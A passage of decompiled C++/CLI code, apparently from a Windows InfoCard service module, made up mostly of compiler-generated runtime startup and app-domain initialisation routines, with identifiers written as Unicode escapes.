\u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040; - internal static unsafe ushort* g_lrpcProtocolSequence; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xc_mp_z; - [FixedAddressValueType] - internal static int \u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FUninitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xi_vt_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FInitializedPerAppDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static bool \u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FIsDefaultDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xc_ma_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FInitializedNative\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static int \u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FInitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xc_ma_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FInitializedVtables\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xi_vt_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0x7d798523\u002E\u003FInitializedPerProcess\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static bool \u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static int \u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA; - internal static uint \u003FProcessAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static uint \u003FProcessDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FProcessVerifier\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static bool \u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0x7d798523\u002E__xc_mp_a; - public static unsafe int** __unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - public static unsafe int** __unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - internal static \u0024ArrayType\u0024\u0024\u0024BY01Q6AXXZ \u003F\u003F_7type_info\u0040\u00406B\u0040; - internal static _s__RTTIClassHierarchyDescriptor \u003F\u003F_R3type_info\u0040\u00408; - internal static \u0024_s__RTTIBaseClassArray\u0024_extraBytes_4 \u003F\u003F_R2type_info\u0040\u00408; - internal static \u0024_TypeDescriptor\u0024_extraBytes_16 \u003F\u003F_R0\u003FAVtype_info\u0040\u0040\u00408; - internal static _s__RTTICompleteObjectLocator \u003F\u003F_R4type_info\u0040\u00406B\u0040; - internal static _s__RTTIBaseClassDescriptor2 \u003F\u003F_R1A\u0040\u003F0A\u0040EA\u0040type_info\u0040\u00408; - [FixedAddressValueType] - internal static uint __exit_list_size_app_domain; - [FixedAddressValueType] - internal static Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E \u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A; - internal static __FnPtr \u003FA0x49040904\u002E\u003F_lock\u0024initializer\u0024\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0P6MXXZA; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitbegin_app_domain; - internal static uint \u003FA0x49040904\u002E__exit_list_size; - internal static unsafe __FnPtr* \u003FA0x49040904\u002E__onexitend; - internal static unsafe __FnPtr* \u003FA0x49040904\u002E__onexitbegin; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitend_app_domain; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_z; - public static volatile uint __native_vcclrit_reason; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_a; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_a; - public static volatile __enative_startup_state __native_startup_state; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_z; - public static unsafe void* __native_startup_lock; - public static volatile uint __native_dllmain_reason; - - internal static unsafe int wmain() - { - \u003CModule\u003E.HeapSetInformation((void*) 0, (_HEAP_INFORMATION_CLASS) 1, (void*) 0, 0U); - ServiceBase.Run((ServiceBase) new InfoCardService()); - return 0; - } - - internal static unsafe void* RtlSecureZeroMemory(void* ptr, uint cnt) - { - sbyte* numPtr = (sbyte*) ptr; - if (cnt != 0U) - { - do - { - *numPtr = (sbyte) 0; - ++numPtr; - --cnt; - } - while (cnt != 0U); - } - return ptr; - } - - internal static unsafe void PropVariantInit(tagPROPVARIANT* pvar) - { - // ISSUE: initblk instruction - __memset((IntPtr) pvar, 0, 16); - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInDllMain() => \u003CModule\u003E.__native_dllmain_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessAttach() => \u003CModule\u003E.__native_dllmain_reason == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInProcessDetach() => \u003CModule\u003E.__native_dllmain_reason == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsInVcclrit() => \u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode() => (\u003CModule\u003E.__native_dllmain_reason != uint.MaxValue ? 1 : 0) == 0 || (\u003CModule\u003E.__native_vcclrit_reason != uint.MaxValue ? 1 : 0) != 0 || \u003CModule\u003E.__native_dllmain_reason != 1U && \u003CModule\u003E.__native_dllmain_reason != 0U; - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EDoNothing( - void* cookie) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() - { - if (\u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr = (void**) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_a; - if (ref \u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_a < ref \u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_z) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - \u003CModule\u003E.\u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() - { - if (\u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A != (TriBool.State) 2) - return \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A == (TriBool.State) -1; - void** voidPtr1 = (void**) &\u003CModule\u003E.__xi_a; - if (ref \u003CModule\u003E.__xi_a < ref \u003CModule\u003E.__xi_z) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u003CModule\u003E.__xi_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u003CModule\u003E.__xc_a; - if (ref \u003CModule\u003E.__xc_a < ref \u003CModule\u003E.__xc_z) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u003CModule\u003E.__xc_z) - goto label_9; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_9: - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() && !\u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA || \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() && !\u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA && \u003CModule\u003E.__native_startup_state == (__enative_startup_state) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsUninitialization() => \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = false; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0x7d798523\u002E\u003F\u003F__E\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xi_vt_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xi_vt_z); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize(); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during native initialization.\n"); - \u003CModule\u003E.__security_init_cookie(); - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode()) - \u003CModule\u003E._amsg_exit(33); - switch (\u003CModule\u003E.__native_startup_state) - { - case (__enative_startup_state) 0: - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 1; - if (\u003CModule\u003E._initterm_e((__FnPtr*) &\u003CModule\u003E.__xi_a, (__FnPtr*) &\u003CModule\u003E.__xi_z) != 0) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0)); - \u003CModule\u003E._initterm((__FnPtr*) &\u003CModule\u003E.__xc_a, (__FnPtr*) &\u003CModule\u003E.__xc_z); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 2; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - break; - case (__enative_startup_state) 1: - \u003CModule\u003E._amsg_exit(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during process initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_m(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xc_mp_z); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_app_domain(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xc_ma_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0x7d798523\u002E__xc_ma_z); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer(new EventHandler(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload)); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - void* fiberPtrId = \u003CModule\u003E._getFiberPtrId(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) fiberPtrId; - // ISSUE: cast to a reference type - void* voidPtr = (void*) Interlocked.CompareExchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num3, comparand); - if ((IntPtr) voidPtr == IntPtr.Zero) - num2 = 1; - else if (voidPtr == fiberPtrId) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u003CModule\u003E.Sleep(1000U); - } - if 